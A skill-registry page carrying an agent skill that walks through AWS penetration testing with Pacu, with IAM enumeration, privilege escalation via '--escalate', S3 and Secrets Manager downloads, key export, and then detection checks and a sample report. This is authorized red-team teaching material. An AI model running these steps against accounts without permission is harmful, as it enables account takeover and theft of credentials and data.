[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7A9R73S183HTXHG8S4NXRDC":3,"skill-same:01M7A9R73S183HTXHG8S4NXRDC":84},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":16,"sourceHtmlUrl":17,"categories":18,"keywords":19,"publishedAt":20,"linkOnly":21,"markdownContent":22,"markdownBody":23,"frontMatter":24,"refName":47,"commitSha":48,"skillDirectory":49,"forksCount":14,"repositoryHtmlUrl":50,"repositoryHomepageUrl":6,"ownerHtmlUrl":51,"ownerBlogUrl":6,"ownerDescription":52,"updatedAt":53,"install":54,"resources":67},"01M7A9R73S183HTXHG8S4NXRDC","performing-cloud-penetration-testing-with-pacu",null,"Run authorized AWS penetration tests with Pacu, the open-source AWS exploitation framework, to enumerate IAM configuration, scan for privilege escalation paths, and test data access and lateral movement using compromised credentials. Use when conducting authorized red-team assessments of AWS environments, validating IAM policies and SCPs, or determining the blast radius of compromised AWS credentials.","NeelakshSaxena\u002FVayu","NeelakshSaxena","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F87892838?v=4","01M7A3B9YFS6F6N9DD1787DT86","Neelaksh Saxena","01M7A3B9ZKBT09MNMPX2XN69BY",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fperforming-cloud-penetration-testing-with-pacu\u002FLICENSE","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fperforming-cloud-penetration-testing-with-pacu\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: performing-cloud-penetration-testing-with-pacu\ndescription: 'Run authorized AWS penetration tests with Pacu, the open-source AWS exploitation\n  framework, to enumerate IAM configuration, scan for privilege escalation paths, and\n  test data access and lateral movement using compromised credentials. Use when conducting\n  authorized red-team assessments of AWS environments, validating IAM policies and\n  SCPs, or determining the blast radius of compromised AWS credentials.\n\n  '\ndomain: cybersecurity\nsubdomain: cloud-security\ntags:\n- cloud-security\n- aws\n- pacu\n- penetration-testing\n- offensive-security\n- iam-exploitation\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.IR-01\n- ID.AM-08\n- GV.SC-06\n- DE.CM-01\nmitre_attack:\n- T1078.004\n- T1530\n- T1537\n- T1580\n- T1068\n---\n\n# Performing Cloud Penetration Testing with Pacu\n\n## When to Use\n\n- When conducting authorized penetration testing of AWS environments\n- When validating the effectiveness of IAM policies, SCPs, and permission boundaries\n- When assessing the blast radius of a compromised set of AWS credentials\n- When testing detection capabilities of GuardDuty, Security Hub, and custom alerting\n- When building red team exercises against AWS cloud infrastructure\n\n**Do not use** for unauthorized testing of any AWS account, for testing AWS infrastructure itself (covered by shared responsibility), for DDoS or volumetric attacks without AWS approval, or for production account testing without explicit authorization and breakglass procedures.\n\n## Prerequisites\n\n- Written authorization from the AWS account owner with defined scope and rules of engagement\n- Pacu v1.5+ installed (`pip install pacu`)\n- Test AWS credentials with limited starting permissions (simulates compromised credential scenario)\n- CloudTrail logging enabled to capture all Pacu activity for post-engagement review\n- GuardDuty enabled to validate detection of Pacu activities\n- Emergency contact and rollback procedures documented\n\n## Workflow\n\n### Step 1: Initialize Pacu Session and Configure Credentials\n\nSet up a Pacu session with the test credentials and define the engagement scope.\n\n```bash\n# Install Pacu\npip install pacu\n\n# Start Pacu\npacu\n\n# Create a new session for the engagement\nPacu > set_keys --key-alias pentest-target\n# Enter Access Key ID: AKIA...\n# Enter Secret Access Key: ...\n\n# Verify identity\nPacu > whoami\n\n# Review available modules\nPacu > list\nPacu > search iam\nPacu > search ec2\nPacu > search s3\n```\n\n### Step 2: Enumerate IAM Configuration\n\nRun IAM enumeration modules to map users, roles, policies, and group memberships.\n\n```bash\n# Comprehensive IAM enumeration\nPacu > run iam__enum_users_roles_policies_groups\n\n# Enumerate detailed permissions for the current principal\nPacu > run iam__enum_permissions\n\n# Enumerate account authorization details (requires iam:GetAccountAuthorizationDetails)\nPacu > run iam__get_credential_report\n\n# Enumerate role trust policies for cross-account access\nPacu > run iam__enum_roles\n\n# Check current session data\nPacu > data iam\n```\n\n### Step 3: Scan for Privilege Escalation Paths\n\nUse Pacu's privilege escalation scanner to identify all exploitable escalation vectors.\n\n```bash\n# Run the privilege escalation scanner\nPacu > run iam__privesc_scan\n\n# The scanner tests for 21+ escalation methods:\n# Method 1:  iam:CreatePolicyVersion\n# Method 2:  iam:SetDefaultPolicyVersion\n# Method 3:  iam:PassRole + ec2:RunInstances\n# Method 4:  iam:PassRole + lambda:CreateFunction + lambda:InvokeFunction\n# Method 5:  iam:PassRole + lambda:CreateFunction + lambda:CreateEventSourceMapping\n# Method 6:  iam:PassRole + glue:CreateDevEndpoint\n# Method 7:  iam:PassRole + cloudformation:CreateStack\n# Method 8:  iam:PassRole + datapipeline:CreatePipeline\n# Method 9:  iam:CreateAccessKey\n# Method 10: iam:CreateLoginProfile\n# Method 11: iam:UpdateLoginProfile\n# Method 12: iam:AttachUserPolicy\n# Method 13: iam:AttachGroupPolicy\n# Method 14: iam:AttachRolePolicy\n# Method 15: iam:PutUserPolicy\n# Method 16: iam:PutGroupPolicy\n# Method 17: iam:PutRolePolicy\n# Method 18: iam:AddUserToGroup\n# Method 19: iam:UpdateAssumeRolePolicy\n# Method 20: sts:AssumeRole\n# Method 21: lambda:UpdateFunctionCode\n\n# If escalation paths found, attempt exploitation\nPacu > run iam__privesc_scan --escalate\n```\n\n### Step 4: Enumerate and Test Data Access\n\nDiscover accessible data stores including S3, DynamoDB, RDS, and Secrets Manager.\n\n```bash\n# Enumerate S3 buckets\nPacu > run s3__bucket_finder\n\n# Download S3 bucket data for analysis\nPacu > run s3__download_bucket --bucket target-bucket --dl-names\n\n# Enumerate EC2 instances and extract user data\nPacu > run ec2__enum\nPacu > run ec2__download_userdata\n\n# Enumerate Lambda functions and check for secrets in environment variables\nPacu > run lambda__enum\n\n# Enumerate Secrets Manager\nPacu > run secretsmanager__enum\n\n# Enumerate SSM parameters (often contain secrets)\nPacu > run ssm__download_parameters\n\n# Check for exposed EBS snapshots\nPacu > run ebs__enum_snapshots_unauth\n```\n\n### Step 5: Test Lateral Movement and Persistence\n\nEvaluate cross-account access, service exploitation, and persistence mechanisms.\n\n```bash\n# Test cross-account role assumption\nPacu > run sts__assume_role --role-arn arn:aws:iam::TARGET:role\u002FCrossAccountRole\n\n# Enumerate Lambda for code execution opportunities\nPacu > run lambda__enum\n# If lambda:UpdateFunctionCode permission exists, could inject code\n\n# Test EC2 instance connect for lateral movement\nPacu > run ec2__enum\n# Check for instances with instance profiles that have broader permissions\n\n# Check for CodeBuild projects (potential credential access)\nPacu > run codebuild__enum\n\n# Enumerate ECS\u002FFargate for container-based lateral movement\nPacu > run ecs__enum\n\n# Export all discovered data\nPacu > data all\n```\n\n### Step 6: Validate Detection and Generate Report\n\nReview whether security controls detected the testing activities and compile findings.\n\n```bash\n# Check GuardDuty findings generated during testing\naws guardduty list-findings \\\n  --detector-id $(aws guardduty list-detectors --query 'DetectorIds[0]' --output text) \\\n  --finding-criteria '{\n    \"Criterion\": {\n      \"updatedAt\": {\"GreaterThanOrEqual\": ENGAGEMENT_START_EPOCH}\n    }\n  }' --output json\n\n# Check Security Hub findings\naws securityhub get-findings \\\n  --filters '{\n    \"CreatedAt\": [{\"Start\": \"ENGAGEMENT_START_ISO\", \"End\": \"ENGAGEMENT_END_ISO\"}]\n  }'\n\n# Export Pacu session data for reporting\nPacu > export_keys --all\nPacu > data all > pacu-session-export.json\n\n# Clean up any test artifacts created during assessment\naws iam delete-user --user-name pacu-test-user 2>\u002Fdev\u002Fnull\naws iam delete-access-key --user-name pacu-test-user --access-key-id AKIA... 2>\u002Fdev\u002Fnull\n```\n\n## Key Concepts\n\n| Term | Definition |\n|------|------------|\n| Pacu | Open-source AWS exploitation framework maintained by Rhino Security Labs, providing modular attack capabilities for authorized penetration testing |\n| Privilege Escalation Scan | Automated analysis of IAM policies to identify known methods for elevating permissions from limited access to administrative control |\n| iam:PassRole | Critical IAM action allowing a principal to assign roles to AWS services, enabling indirect privilege escalation through Lambda, EC2, or Glue |\n| Cross-Account Role Assumption | Using sts:AssumeRole to obtain temporary credentials in another AWS account through trust policy configurations |\n| Rules of Engagement | Documented agreement defining the scope, methods, timing, and boundaries of a penetration testing engagement |\n| Post-Exploitation | Activities performed after initial access to demonstrate impact, including data access, lateral movement, and persistence establishment |\n\n## Tools & Systems\n\n- **Pacu**: AWS exploitation framework with 50+ modules for enumeration, escalation, persistence, and data exfiltration\n- **CloudFox**: AWS enumeration tool for identifying attack paths from an attacker perspective\n- **Principal Mapper**: IAM privilege escalation graph analysis tool for visualizing escalation paths\n- **ScoutSuite**: Multi-cloud security assessment tool for identifying misconfigurations before testing\n- **AWS CloudTrail**: Audit logging for capturing all Pacu activities during the engagement\n\n## Common Scenarios\n\n### Scenario: Red Team Assessment Starting from Compromised Developer Credentials\n\n**Context**: A red team exercise simulates a scenario where an attacker obtains a developer's AWS access key from a leaked repository. The goal is to determine the maximum impact achievable from this starting point.\n\n**Approach**:\n1. Initialize Pacu with the compromised credentials and run `whoami` to confirm identity\n2. Run `iam__enum_permissions` to map the developer's effective permissions\n3. Execute `iam__privesc_scan` to identify escalation paths from developer to admin\n4. Discover the developer can call `iam:PassRole` + `lambda:CreateFunction`, creating a Lambda with an admin role\n5. Exploit the escalation to obtain admin-level temporary credentials\n6. Enumerate S3 buckets, download sensitive data, and access Secrets Manager\n7. Verify whether GuardDuty detected the escalation and data access activities\n8. Clean up all test artifacts and document the complete attack chain\n\n**Pitfalls**: Pacu modules can be noisy and generate many API calls in a short time. GuardDuty may trigger `Recon:IAMUser\u002FMaliciousIPCaller` findings from the tester's IP. Coordinate with the SOC team to whitelist the testing IP or establish a clear communication channel to distinguish testing from real attacks. Always clean up persistence artifacts after testing.\n\n## Output Format\n\n```\nAWS Penetration Test Report (Pacu)\n=====================================\nTarget Account: 123456789012\nEngagement Period: 2026-02-20 to 2026-02-23\nStarting Credentials: Developer role (read-only S3, Lambda invoke)\nAuthorization: Signed ROE document #PT-2026-015\n\nATTACK PATH SUMMARY:\n  Starting access: S3 read-only, Lambda invoke\n  Maximum access achieved: AdministratorAccess (full account compromise)\n  Time to admin: 47 minutes\n  Detection by GuardDuty: Yes (after 12 minutes)\n  Detection by Security Hub: Yes (after 18 minutes)\n  SOC response time: 45 minutes (missed the escalation window)\n\nPACU MODULES EXECUTED:\n  iam__enum_users_roles_policies_groups: SUCCESS\n  iam__enum_permissions: SUCCESS\n  iam__privesc_scan: 3 escalation paths found\n  s3__download_bucket: 4 buckets accessed\n  lambda__enum: 12 functions enumerated\n  secretsmanager__enum: 8 secrets retrieved\n\nESCALATION PATHS EXPLOITED:\n  [1] iam:PassRole + lambda:CreateFunction -> AdminRole (CRITICAL)\n  [2] sts:AssumeRole -> CrossAccountProdRole (HIGH)\n  [3] iam:CreatePolicyVersion on dev-policy (CRITICAL)\n\nDATA ACCESSED:\n  S3 objects downloaded: 1,247 files (2.3 GB)\n  Secrets Manager values: 8 secrets including DB credentials\n  SSM parameters: 23 parameters including API keys\n\nDETECTION RESULTS:\n  GuardDuty findings generated: 7\n  Security Hub findings: 12\n  Custom CloudWatch alarms triggered: 3\n  SOC acknowledged: Yes (45 min response)\n\nRECOMMENDATIONS:\n  1. Apply permission boundaries to all developer roles\n  2. Remove iam:PassRole from non-admin principals\n  3. Reduce SOC response time to \u003C 15 minutes for IAM escalation alerts\n  4. Implement SCP blocking iam:CreatePolicyVersion in non-admin OUs\n```\n","# Performing Cloud Penetration Testing with Pacu\n\n## When to Use\n\n- When conducting authorized penetration testing of AWS environments\n- When validating the effectiveness of IAM policies, SCPs, and permission boundaries\n- When assessing the blast radius of a compromised set of AWS credentials\n- When testing detection capabilities of GuardDuty, Security Hub, and custom alerting\n- When building red team exercises against AWS cloud infrastructure\n\n**Do not use** for unauthorized testing of any AWS account, for testing AWS infrastructure itself (covered by shared responsibility), for DDoS or volumetric attacks without AWS approval, or for production account testing without explicit authorization and breakglass procedures.\n\n## Prerequisites\n\n- Written authorization from the AWS account owner with defined scope and rules of engagement\n- Pacu v1.5+ installed (`pip install pacu`)\n- Test AWS credentials with limited starting permissions (simulates compromised credential scenario)\n- CloudTrail logging enabled to capture all Pacu activity for post-engagement review\n- GuardDuty enabled to validate detection of Pacu activities\n- Emergency contact and rollback procedures documented\n\n## Workflow\n\n### Step 1: Initialize Pacu Session and Configure Credentials\n\nSet up a Pacu session with the test credentials and define the engagement scope.\n\n```bash\n# Install Pacu\npip install pacu\n\n# Start Pacu\npacu\n\n# Create a new session for the engagement\nPacu > set_keys --key-alias pentest-target\n# Enter Access Key ID: AKIA...\n# Enter Secret Access Key: ...\n\n# Verify identity\nPacu > whoami\n\n# Review available modules\nPacu > list\nPacu > search iam\nPacu > search ec2\nPacu > search s3\n```\n\n### Step 2: Enumerate IAM Configuration\n\nRun IAM enumeration modules to map users, roles, policies, and group memberships.\n\n```bash\n# Comprehensive IAM enumeration\nPacu > run iam__enum_users_roles_policies_groups\n\n# Enumerate detailed permissions for the current principal\nPacu > run iam__enum_permissions\n\n# Enumerate account authorization details (requires iam:GetAccountAuthorizationDetails)\nPacu > run iam__get_credential_report\n\n# Enumerate role trust policies for cross-account access\nPacu > run iam__enum_roles\n\n# Check current session data\nPacu > data iam\n```\n\n### Step 3: Scan for Privilege Escalation Paths\n\nUse Pacu's privilege escalation scanner to identify all exploitable escalation vectors.\n\n```bash\n# Run the privilege escalation scanner\nPacu > run iam__privesc_scan\n\n# The scanner tests for 21+ escalation methods:\n# Method 1:  iam:CreatePolicyVersion\n# Method 2:  iam:SetDefaultPolicyVersion\n# Method 3:  iam:PassRole + ec2:RunInstances\n# Method 4:  iam:PassRole + lambda:CreateFunction + lambda:InvokeFunction\n# Method 5:  iam:PassRole + lambda:CreateFunction + lambda:CreateEventSourceMapping\n# Method 6:  iam:PassRole + glue:CreateDevEndpoint\n# Method 7:  iam:PassRole + cloudformation:CreateStack\n# Method 8:  iam:PassRole + datapipeline:CreatePipeline\n# Method 9:  iam:CreateAccessKey\n# Method 10: iam:CreateLoginProfile\n# Method 11: iam:UpdateLoginProfile\n# Method 12: iam:AttachUserPolicy\n# Method 13: iam:AttachGroupPolicy\n# Method 14: iam:AttachRolePolicy\n# Method 15: iam:PutUserPolicy\n# Method 16: iam:PutGroupPolicy\n# Method 17: iam:PutRolePolicy\n# Method 18: iam:AddUserToGroup\n# Method 19: iam:UpdateAssumeRolePolicy\n# Method 20: sts:AssumeRole\n# Method 21: lambda:UpdateFunctionCode\n\n# If escalation paths found, attempt exploitation\nPacu > run iam__privesc_scan --escalate\n```\n\n### Step 4: Enumerate and Test Data Access\n\nDiscover accessible data stores including S3, DynamoDB, RDS, and Secrets Manager.\n\n```bash\n# Enumerate S3 buckets\nPacu > run s3__bucket_finder\n\n# Download S3 bucket data for analysis\nPacu > run s3__download_bucket --bucket target-bucket --dl-names\n\n# Enumerate EC2 instances and extract user data\nPacu > run ec2__enum\nPacu > run ec2__download_userdata\n\n# Enumerate Lambda functions and check for secrets in environment variables\nPacu > run lambda__enum\n\n# Enumerate Secrets Manager\nPacu > run secretsmanager__enum\n\n# Enumerate SSM parameters (often contain secrets)\nPacu > run ssm__download_parameters\n\n# Check for exposed EBS snapshots\nPacu > run ebs__enum_snapshots_unauth\n```\n\n### Step 5: Test Lateral Movement and Persistence\n\nEvaluate cross-account access, service exploitation, and persistence mechanisms.\n\n```bash\n# Test cross-account role assumption\nPacu > run sts__assume_role --role-arn arn:aws:iam::TARGET:role\u002FCrossAccountRole\n\n# Enumerate Lambda for code execution opportunities\nPacu > run lambda__enum\n# If lambda:UpdateFunctionCode permission exists, could inject code\n\n# Test EC2 instance connect for lateral movement\nPacu > run ec2__enum\n# Check for instances with instance profiles that have broader permissions\n\n# Check for CodeBuild projects (potential credential access)\nPacu > run codebuild__enum\n\n# Enumerate ECS\u002FFargate for container-based lateral movement\nPacu > run ecs__enum\n\n# Export all discovered data\nPacu > data all\n```\n\n### Step 6: Validate Detection and Generate Report\n\nReview whether security controls detected the testing activities and compile findings.\n\n```bash\n# Check GuardDuty findings generated during testing\naws guardduty list-findings \\\n  --detector-id $(aws guardduty list-detectors --query 'DetectorIds[0]' --output text) \\\n  --finding-criteria '{\n    \"Criterion\": {\n      \"updatedAt\": {\"GreaterThanOrEqual\": ENGAGEMENT_START_EPOCH}\n    }\n  }' --output json\n\n# Check Security Hub findings\naws securityhub get-findings \\\n  --filters '{\n    \"CreatedAt\": [{\"Start\": \"ENGAGEMENT_START_ISO\", \"End\": \"ENGAGEMENT_END_ISO\"}]\n  }'\n\n# Export Pacu session data for reporting\nPacu > export_keys --all\nPacu > data all > pacu-session-export.json\n\n# Clean up any test artifacts created during assessment\naws iam delete-user --user-name pacu-test-user 2>\u002Fdev\u002Fnull\naws iam delete-access-key --user-name pacu-test-user --access-key-id AKIA... 2>\u002Fdev\u002Fnull\n```\n\n## Key Concepts\n\n| Term | Definition |\n|------|------------|\n| Pacu | Open-source AWS exploitation framework maintained by Rhino Security Labs, providing modular attack capabilities for authorized penetration testing |\n| Privilege Escalation Scan | Automated analysis of IAM policies to identify known methods for elevating permissions from limited access to administrative control |\n| iam:PassRole | Critical IAM action allowing a principal to assign roles to AWS services, enabling indirect privilege escalation through Lambda, EC2, or Glue |\n| Cross-Account Role Assumption | Using sts:AssumeRole to obtain temporary credentials in another AWS account through trust policy configurations |\n| Rules of Engagement | Documented agreement defining the scope, methods, timing, and boundaries of a penetration testing engagement |\n| Post-Exploitation | Activities performed after initial access to demonstrate impact, including data access, lateral movement, and persistence establishment |\n\n## Tools & Systems\n\n- **Pacu**: AWS exploitation framework with 50+ modules for enumeration, escalation, persistence, and data exfiltration\n- **CloudFox**: AWS enumeration tool for identifying attack paths from an attacker perspective\n- **Principal Mapper**: IAM privilege escalation graph analysis tool for visualizing escalation paths\n- **ScoutSuite**: Multi-cloud security assessment tool for identifying misconfigurations before testing\n- **AWS CloudTrail**: Audit logging for capturing all Pacu activities during the engagement\n\n## Common Scenarios\n\n### Scenario: Red Team Assessment Starting from Compromised Developer Credentials\n\n**Context**: A red team exercise simulates a scenario where an attacker obtains a developer's AWS access key from a leaked repository. The goal is to determine the maximum impact achievable from this starting point.\n\n**Approach**:\n1. Initialize Pacu with the compromised credentials and run `whoami` to confirm identity\n2. Run `iam__enum_permissions` to map the developer's effective permissions\n3. Execute `iam__privesc_scan` to identify escalation paths from developer to admin\n4. Discover the developer can call `iam:PassRole` + `lambda:CreateFunction`, creating a Lambda with an admin role\n5. Exploit the escalation to obtain admin-level temporary credentials\n6. Enumerate S3 buckets, download sensitive data, and access Secrets Manager\n7. Verify whether GuardDuty detected the escalation and data access activities\n8. Clean up all test artifacts and document the complete attack chain\n\n**Pitfalls**: Pacu modules can be noisy and generate many API calls in a short time. GuardDuty may trigger `Recon:IAMUser\u002FMaliciousIPCaller` findings from the tester's IP. Coordinate with the SOC team to whitelist the testing IP or establish a clear communication channel to distinguish testing from real attacks. Always clean up persistence artifacts after testing.\n\n## Output Format\n\n```\nAWS Penetration Test Report (Pacu)\n=====================================\nTarget Account: 123456789012\nEngagement Period: 2026-02-20 to 2026-02-23\nStarting Credentials: Developer role (read-only S3, Lambda invoke)\nAuthorization: Signed ROE document #PT-2026-015\n\nATTACK PATH SUMMARY:\n  Starting access: S3 read-only, Lambda invoke\n  Maximum access achieved: AdministratorAccess (full account compromise)\n  Time to admin: 47 minutes\n  Detection by GuardDuty: Yes (after 12 minutes)\n  Detection by Security Hub: Yes (after 18 minutes)\n  SOC response time: 45 minutes (missed the escalation window)\n\nPACU MODULES EXECUTED:\n  iam__enum_users_roles_policies_groups: SUCCESS\n  iam__enum_permissions: SUCCESS\n  iam__privesc_scan: 3 escalation paths found\n  s3__download_bucket: 4 buckets accessed\n  lambda__enum: 12 functions enumerated\n  secretsmanager__enum: 8 secrets retrieved\n\nESCALATION PATHS EXPLOITED:\n  [1] iam:PassRole + lambda:CreateFunction -> AdminRole (CRITICAL)\n  [2] sts:AssumeRole -> CrossAccountProdRole (HIGH)\n  [3] iam:CreatePolicyVersion on dev-policy (CRITICAL)\n\nDATA ACCESSED:\n  S3 objects downloaded: 1,247 files (2.3 GB)\n  Secrets Manager values: 8 secrets including DB credentials\n  SSM parameters: 23 parameters including API keys\n\nDETECTION RESULTS:\n  GuardDuty findings generated: 7\n  Security Hub findings: 12\n  Custom CloudWatch alarms triggered: 3\n  SOC acknowledged: Yes (45 min response)\n\nRECOMMENDATIONS:\n  1. Apply permission boundaries to all developer roles\n  2. Remove iam:PassRole from non-admin principals\n  3. Reduce SOC response time to \u003C 15 minutes for IAM escalation alerts\n  4. Implement SCP blocking iam:CreatePolicyVersion in non-admin OUs\n```\n",{"name":5,"tags":25,"author":32,"domain":33,"license":15,"version":34,"nist_csf":35,"subdomain":26,"description":40,"mitre_attack":41},[26,27,28,29,30,31],"cloud-security","aws","pacu","penetration-testing","offensive-security","iam-exploitation","mahipal","cybersecurity","1.0",[36,37,38,39],"PR.IR-01","ID.AM-08","GV.SC-06","DE.CM-01","Run authorized AWS penetration tests with Pacu, the open-source AWS exploitation framework, to enumerate IAM configuration, scan for privilege escalation paths, and test data access and lateral movement using compromised credentials. Use when conducting authorized red-team assessments of AWS environments, validating IAM policies and SCPs, or determining the blast radius of compromised AWS credentials.\n",[42,43,44,45,46],"T1078.004","T1530","T1537","T1580","T1068","main","7540bbccf0c1ded6156a467b02c95b61ad62413f",".agents\u002Fskills\u002Fperforming-cloud-penetration-testing-with-pacu","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena","Currently exploring the intersection of tech","2026-09-11 03:02:31",{"source":8,"skillName":5,"commands":55,"prompt":65,"zipAvailable":66},[56,59,62],{"tool":57,"command":58},"npx","npx skills add NeelakshSaxena\u002FVayu --skill performing-cloud-penetration-testing-with-pacu",{"tool":60,"command":61},"bunx","bunx skills add NeelakshSaxena\u002FVayu --skill performing-cloud-penetration-testing-with-pacu",{"tool":63,"command":64},"pnpm","pnpm dlx skills add NeelakshSaxena\u002FVayu --skill performing-cloud-penetration-testing-with-pacu","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fperforming-cloud-penetration-testing-with-pacu\u002FSKILL.md",true,[68,72,78],{"path":69,"resourceType":69,"resourceTypeDesc":70,"sizeBytes":71,"sourceHtmlUrl":16},"LICENSE","许可证",11255,{"path":73,"resourceType":74,"resourceTypeDesc":75,"sizeBytes":76,"sourceHtmlUrl":77},"references\u002Fapi-reference.md","REFERENCE","参考文档",2473,"https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fperforming-cloud-penetration-testing-with-pacu\u002Freferences\u002Fapi-reference.md",{"path":79,"resourceType":80,"resourceTypeDesc":81,"sizeBytes":82,"sourceHtmlUrl":83},"scripts\u002Fagent.py","SCRIPT","脚本",8492,"https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fperforming-cloud-penetration-testing-with-pacu\u002Fscripts\u002Fagent.py",[85,92,99,106,113,120],{"skillNo":86,"name":87,"nameZh":6,"description":88,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":89,"categories":90,"keywords":91,"publishedAt":20},"01M7ACCCVNCFKMA9X6D15X6G98","runpodctl","Runpod CLI for managing GPU\u002FCPU workloads from the terminal — pods, serverless endpoints, templates, network volumes, Hub deploys, models, SSH, and file transfer (send\u002Freceive). Use for terminal\u002FCI\u002Fscripting, Hub browse\u002Fdeploy, SSH setup, `doctor`, or when the Runpod MCP tools are not connected. For structured tool calls in an MCP-enabled session, prefer runpod-mcp.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpodctl\u002FSKILL.md",[],[],{"skillNo":93,"name":94,"nameZh":6,"description":95,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":96,"categories":97,"keywords":98,"publishedAt":20},"01M7ACC63SRHEA5KMCHSMZK2TC","runpod","Start here for any Runpod task — running GPU\u002FCPU pods, deploying serverless endpoints, templates, network volumes, building images, or understanding how Runpod works. Routes to the right skill (runpod-mcp, runpodctl, flash, companion-clis, runpod-usage, runpod-templates, runpod-migrate) and indexes two dozen live-verified end-to-end examples (golden paths) — use it when the lane is unclear, and for any multi-step or provisioning task even when it is not.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpod\u002FSKILL.md",[],[],{"skillNo":100,"name":101,"nameZh":6,"description":102,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":103,"categories":104,"keywords":105,"publishedAt":20},"01M7ACC0Q1C89N9BZBV91CTQTF","runpod-usage","How Runpod works and how to work it — pods vs serverless, GPU\u002FVRAM selection, storage, building a container, networking, plus the agentic pod development loop (provision → ssh-exec → set up → poll readiness) and on-pod install hygiene (uv\u002Fapt). Use to answer \"how does X work\", \"which GPU\", \"how do I build a container\", or \"how do I stand up a workload on a pod\". Guidance, not a tool — execute with runpodctl, runpod-mcp, or flash.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpod-usage\u002FSKILL.md",[],[],{"skillNo":107,"name":108,"nameZh":6,"description":109,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":110,"categories":111,"keywords":112,"publishedAt":20},"01M7ACBRPE345GF5GM5B8P8RRC","runpod-templates","Runpod's official prebuilt pod templates (ComfyUI, PyTorch, and others): what each image ships, which ports and paths it uses, how to pick one, how to pin a version, and what is missing on first boot. Use when a task says \"run \u003CX> on a pod\" and an official template already covers it, instead of building an image — and when a user needs help with or wants to fix something about a Runpod template they are already running (won't boot, can't reach the UI, missing models, wrong CUDA line, broken ComfyUI workflow metadata on imported workflows): start here and route onward. Deploy with runpodctl or runpod-mcp; end-to-end walkthroughs live in the runpod router's golden paths.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpod-templates\u002FSKILL.md",[],[],{"skillNo":114,"name":115,"nameZh":6,"description":116,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":117,"categories":118,"keywords":119,"publishedAt":20},"01M7ACBJATHKVX1TWES2F44GY8","runpod-migrate","Migrate a codebase from the Runpod GraphQL API or REST v1 to REST v2 — inventory which parts use which API version, rewrite the call sites, flag breaking changes, and verify. Use when someone asks to move to v2, asks what v2 would change, or asks which Runpod API their code is on. For managing infrastructure rather than migrating code, use runpod-mcp or runpodctl.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpod-migrate\u002FSKILL.md",[],[],{"skillNo":121,"name":122,"nameZh":6,"description":123,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":124,"categories":125,"keywords":126,"publishedAt":20},"01M7ACBC7GHVH6T9YEAPCG2AP8","runpod-mcp","Manage Runpod infrastructure — pods, serverless endpoints, jobs, templates, network volumes, container-registry auth, GPU\u002FCPU catalog, and billing — via the Runpod MCP server's structured tool calls. Use when the Runpod MCP tools (create-pod, list-endpoints, …) are connected in this session, or to connect them (hosted OAuth or local npx). Prefer this over runpodctl for plain infra CRUD when MCP is available; use runpodctl for the terminal, file transfer, or SSH setup.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpod-mcp\u002FSKILL.md",[],[]]